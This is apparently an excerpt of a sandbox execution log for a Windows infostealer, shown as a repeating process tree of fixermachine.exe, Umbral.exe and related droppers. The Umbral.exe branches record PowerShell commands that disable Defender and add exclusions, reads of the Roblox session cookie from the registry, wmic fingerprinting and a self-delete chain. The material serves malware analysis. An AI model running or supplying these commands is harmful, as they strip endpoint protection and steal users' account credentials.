        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        47⤵
        Checks computer location settings
        Modifies registry class
        
        PID:2936
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        48⤵
        System Location Discovery: System Language Discovery
        
        PID:664
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        49⤵
        
        PID:1140
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        50⤵
        
        PID:1108
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        44⤵
        Checks computer location settings
        
        PID:1120
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        45⤵
        
        PID:3972
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        45⤵
        Checks computer location settings
        
        PID:2136
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        46⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3472
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        47⤵
        
        PID:1480
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        48⤵
        
        PID:556
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        49⤵
        
        PID:4548
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        49⤵
        
        PID:2776
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        43⤵
        
        PID:1376
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        44⤵
        
        PID:4428
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        44⤵
        
        PID:1744
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        45⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4916
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        46⤵
        
        PID:2376
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        47⤵
        
        PID:2432
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        48⤵
        
        PID:4848
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        42⤵
        
        PID:1300
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        43⤵
        
        PID:1948
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        43⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        44⤵
        Modifies registry class
        
        PID:1828
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        45⤵
        
        PID:3164
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        46⤵
        
        PID:2804
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        47⤵
        
        PID:4732
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        47⤵
        
        PID:1948
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        41⤵
        
        PID:2996
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        42⤵
        
        PID:3632
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        42⤵
        
        PID:2376
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        43⤵
        Checks computer location settings
        Modifies registry class
        
        PID:3656
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        44⤵
        System Location Discovery: System Language Discovery
        
        PID:3828
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        45⤵
        System Location Discovery: System Language Discovery
        
        PID:3108
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        46⤵
        
        PID:3632
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        46⤵
        
        PID:3204
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        40⤵
        
        PID:3568
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        41⤵
        
        PID:4732
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        41⤵
        
        PID:3704
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        42⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3204
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        43⤵
        Checks computer location settings
        
        PID:1616
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        44⤵
        System Location Discovery: System Language Discovery
        
        PID:4684
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        45⤵
        
        PID:4280
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        45⤵
        
        PID:2568
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        39⤵
        
        PID:4648
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        40⤵
        
        PID:4348
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        40⤵
        
        PID:4280
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        41⤵
        Modifies registry class
        
        PID:1316
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        42⤵
        
        PID:4256
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        43⤵
        System Location Discovery: System Language Discovery
        
        PID:2220
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        44⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        38⤵
        Checks computer location settings
        
        PID:2360
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        39⤵
        
        PID:3492
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        39⤵
        
        PID:1044
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        40⤵
        Modifies registry class
        
        PID:1548
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        41⤵
        
        PID:3200
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        42⤵
        
        PID:2832
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        43⤵
        
        PID:4348
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        43⤵
        
        PID:4532
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        37⤵
        
        PID:2516
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        38⤵
        
        PID:4740
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        38⤵
        Checks computer location settings
        
        PID:3104
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        39⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3236
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        40⤵
        System Location Discovery: System Language Discovery
        
        PID:5024
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        41⤵
        
        PID:5044
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        42⤵
        
        PID:3416
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        36⤵
        Checks computer location settings
        
        PID:2364
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        37⤵
        Drops file in Drivers directory
        
        PID:2140
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        38⤵
        
        PID:4148
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        38⤵
        Views/modifies file attributes
        
        PID:3568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        38⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        38⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        38⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4624
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        38⤵
        
        PID:1068
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        38⤵
        
        PID:5088
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        38⤵
        
        PID:4536
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        38⤵
        
        PID:4756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        38⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4408
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        38⤵
        Detects videocard installed
        
        PID:3624
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        39⤵
        
        PID:4748
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        38⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4288
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        39⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4360
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        37⤵
        
        PID:740
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        38⤵
        Modifies registry class
        
        PID:764
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        39⤵
        
        PID:3188
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        40⤵
        System Location Discovery: System Language Discovery
        
        PID:4716
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        41⤵
        
        PID:4736
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        35⤵
        
        PID:4928
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        36⤵
        
        PID:4604
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        36⤵
        
        PID:1104
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        37⤵
        Checks computer location settings
        Modifies registry class
        
        PID:704
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        38⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:5068
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        39⤵
        System Location Discovery: System Language Discovery
        
        PID:664
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        40⤵
        
        PID:2688
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        34⤵
        
        PID:3152
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        35⤵
        
        PID:4460
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        35⤵
        
        PID:2416
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        36⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3944
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        37⤵
        
        PID:2876
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        38⤵
        
        PID:4524
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        39⤵
        
        PID:2432
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        33⤵
        
        PID:3612
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        34⤵
        
        PID:2688
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        34⤵
        Checks computer location settings
        
        PID:4548
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        35⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:2312
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        36⤵
        
        PID:3404
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        37⤵
        
        PID:4672
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        38⤵
        
        PID:2708
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        32⤵
        
        PID:3828
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        33⤵
        
        PID:3472
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        33⤵
        
        PID:2776
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        34⤵
        Modifies registry class
        
        PID:1020
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        35⤵
        System Location Discovery: System Language Discovery
        
        PID:1828
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        36⤵
        
        PID:4332
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        37⤵
        
        PID:4764
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        31⤵
        
        PID:1828
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        32⤵
        
        PID:212
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        32⤵
        Checks computer location settings
        
        PID:2484
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        33⤵
        Modifies registry class
        
        PID:4904
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        34⤵
        
        PID:2508
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        35⤵
        
        PID:3932
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        36⤵
        
        PID:928
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        30⤵
        
        PID:3632
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        31⤵
        
        PID:2660
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        31⤵
        
        PID:4712
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        32⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1012
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        33⤵
        Checks computer location settings
        
        PID:2176
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        34⤵
        
        PID:3188
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        35⤵
        
        PID:1860
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        35⤵
        
        PID:1240
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        29⤵
        
        PID:4512
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        30⤵
        
        PID:512
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        30⤵
        Checks computer location settings
        
        PID:4092
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        31⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:640
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        32⤵
        
        PID:4884
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        33⤵
        
        PID:5116
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        34⤵
        
        PID:4612
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        28⤵
        
        PID:1080
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        29⤵
        
        PID:2620
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        29⤵
        Checks computer location settings
        
        PID:2492
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        30⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3208
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        31⤵
        
        PID:3840
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        32⤵
        
        PID:2256
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        33⤵
        
        PID:4208
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        27⤵
        
        PID:1120
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        28⤵
        
        PID:3100
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        28⤵
        Checks computer location settings
        
        PID:1860
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        29⤵
        Modifies registry class
        
        PID:1480
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        30⤵
        System Location Discovery: System Language Discovery
        
        PID:4604
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        31⤵
        
        PID:3260
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        32⤵
        
        PID:1428
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        26⤵
        Checks computer location settings
        
        PID:4976
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        27⤵
        
        PID:3188
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        27⤵
        Checks computer location settings
        
        PID:944
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        28⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:224
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        29⤵
        
        PID:3368
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        30⤵
        System Location Discovery: System Language Discovery
        
        PID:4748
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        31⤵
        
        PID:3676
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        25⤵
        
        PID:4408
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        26⤵
        
        PID:2416
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        26⤵
        Checks computer location settings
        
        PID:3644
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        27⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4604
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        28⤵
        System Location Discovery: System Language Discovery
        
        PID:4328
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        29⤵
        
        PID:2404
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        30⤵
        
        PID:4756
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        24⤵
        
        PID:2136
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        25⤵
        Drops file in Drivers directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3148
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        26⤵
        
        PID:1308
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        26⤵
        Views/modifies file attributes
        
        PID:1744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
